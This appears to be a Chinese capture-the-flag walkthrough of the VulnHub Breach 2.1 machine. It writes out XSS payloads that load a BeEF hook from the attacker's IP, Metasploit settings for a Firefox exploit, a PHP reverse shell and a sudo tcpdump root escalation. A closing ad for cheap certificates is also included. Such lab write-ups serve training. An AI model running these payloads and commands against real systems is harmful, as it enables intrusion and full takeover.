下载链接如下:https://www.vulnhub.com/entry/breach-21,159/
首先靶机的IP是固定的 192.168.110.151 IP地址,nat网络也要是110段,不然扫描不出来IP地址
首先我们使用nmap进行端口扫描,ssh服务换到了65535端口

这个时候没有开启80端口,我们尝试连接一下ssh

发现了账号密码 peter / inthesource,我们登录一下发现自动断开了连接

回头却发现80端口开启了

靶机当然要第一时间查看源码撒

随后使用目录扫描

扫描出来一个blog

对搜索框尝试sql注入

xss尝试成功
<script>alert(111)</script>

接下来打开beef-xss,注意如果遇到了beef-xss下载不了,或者使用不了的话,我们要把他重新下载
apt remove ruby
apt remove beef-xss
apt-get install ruby
apt-get install ruby-dev libpcap-dev
gem install eventmachine
apt-get install beef-xss
这里会先让你输入密码

等待几秒后就会自动打开浏览器,输入账号密码,默认用户为 beef ,密码为你刚刚启动beefxss输入的密码

将下面的payload填入这个搜索框
<script src="http://127.0.0.1:3000/hook.js"></script>
<script src="http://192.168.110.128:3000/hook.js"></script>

这里需要耐心等待几分钟,靶机就能上线了,发现靶机的火狐浏览器版本是15.0,靶机是设置了自动执行这个xss,实际情况需要利用社会工程学

使用漏洞检索工具searchsploit检索这个版本浏览器的漏洞,发现可以使用msf

那么打开msf
msfconsole
search firefox 15.0
use 0

设置好配置项
use exploit/multi/browser/firefox_proto_crmfrequest
set SRVHOST 192.168.110.128
set URIPATH shell
show payloads
set payload 3

将生成的结果 http://192.168.110.128:8080/shell 填到这个里面

这样子就能执行命令了,但是呢,就立马断开了,这个shell很不稳定,所以我们需要创建一个稳定的shell,使用msf的post/multi/manage/shell_to_meterpreter模块
use post/multi/manage/shell_to_meterpreter
set session 1

创建交互式终端
python -c "import pty;pty.spawn('/bin/bash')"

我们的80端口默认是访问不了的,需要使用ssh连接一下,才开启的80端口
cat /etc/sshd_config
注意不是ssh_config,他俩还是有一定区别的
| 特征 | sshd_config | ssh_config |
|---|---|---|
| 作用对象 | SSH服务器端(sshd服务) |
SSH客户端(ssh命令) |
| 主要配置位置 | /etc/ssh/sshd_config |
/etc/ssh/ssh_config(全局)或~/.ssh/config(用户) |
| 生效方式 | 修改后需重启sshd服务 |
每次执行ssh命令时读取 |
| 配置目标 | 控制服务器如何响应连接 | 控制客户端如何连接服务器 |
| 关键配置项 | 端口、认证方式、用户访问控制等 | 端口、私钥路径、用户名、主机别名等 |
只有peter才能登录,并且登录成功后会执行/usr/bin/startme

那么到这就已经很清楚了,为什么连接了一下ssh它的80端口就开启了

我们来看看他的权限,其他用户不能写,只能root用户写,那么这种提权方式就不能使用了

只有当以peter身份成功通过SSH登录时,阿帕奇服务才会被启动,80端口也会随之开启。这主要是由于存在ForceCommand设置。在执行完
/usr/bin/startme命令后,SSH会话就会结束。由于没有提供一个能够持续运行的交互式Shell,所以SSH连接会立即断开。
echo "exec sh" > .bashrc
这样子就能使用ssh连接了

既然是有密码的,那么我们可以直接sudo,发现能利用的只有apache2

继续信息收集,找到web所在的目录/var/www/html,blog里的配置文件密码为空

我们登录进去查看表数据,却只得到了我们利用xss登录进来的代码,没有什么用
mysql -uroot -p
# 不用输入密码 直接回车

这里我们切换另一个数据库看看,也就是/var/www/html2下面的这个cms,得到管理员密码,32admin,可能有用,退出来换root(失败)

在端口信息收集的时候,看到一个不常见的端口,使用telnet连接的时候却输出了一对经纬度

利用谷歌浏览器进行导航,发现一个位置,那么这个位置可不可能是管理员密码呢?答:可能,但是登录失败。。。。。。

直到我利用telnet登录这个2323端口,才有了新的突破,他问了一个问题,订书机是谁的?

我们需要在目录下寻找关键词stapler
cd /usr
grep -rno stapler
在结果中看到一个/usr/local这个目录下通常包含了本地安装的软件,这里我们看到一个cd.py

为什么是/usr下面的文件,而不是其他的地方找?
答:其他目录也可以,这里只是忽略掉了找的过程,比如/var下面的所有文件只有一个index.html包含stapler字符,并没有利用价值。
此时就可以正常输出 Woot 啦!而且用户也切换成功

我们来看看网络的端口,包含了8888端口,而且是tcp协议

测试,这不是html嘛

访问,目录下面有一个oscommerce

点进去看看,又是一个cms

看看后台目录在哪

前面我们看了这个数据库的密码,admin / 32admin,却也禁止登录了

我看了看网上的wp,是需要指定cms的密文解密

而我这。。。。。。

无奈只能凑合登录登录了,当然也可以爆破

我们找到这个目录,普通用户可以读写

我们使用weevelywebshell连接工具生成一个免杀马

上传上去

但是我们打开这个免杀马的时候,里面没有任何内容(可能是文件传输过程中出错了)

并且shell也连不上

那么就换一种方式,用kali自带的webshell进行反弹,我们修改好这里的ip地址喝端口为kali监听的地址和端口

下面找到这个shell.php,访问即可反弹成功

反弹成功我们试试sudo -l,发现它不用我们直接输入密码,有一个tcpdump提权

我们找到当前的网卡信息

依次执行命令就好
COMMAND='id'
TF=$(mktemp) # 一个临时文件路径
echo "$COMMAND" > $TF # 追加要执行的命令到上面那个文件
chmod +x $TF # 赋予执行权限
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root
# 注意这里 ⬆ 是你需要监听的网卡地址
# 即可提权执行命令

提权执行命令的时候,使用bash,他反弹不成功,我们可以利用刚刚上传上去的php文件进行反弹


执行命令的同时,反弹成功,是root权限,提权成功

感谢观看结束的小师傅们
全网低价证书找我 + baibaixiaoyu2024
包括且不限于cisp,cisp-pte,pts,cissp,cisp-ire,cisa,oscp,osep等等
往期推荐
本站小部分内容转载于互联网,如有侵权还请联系
















暂无评论内容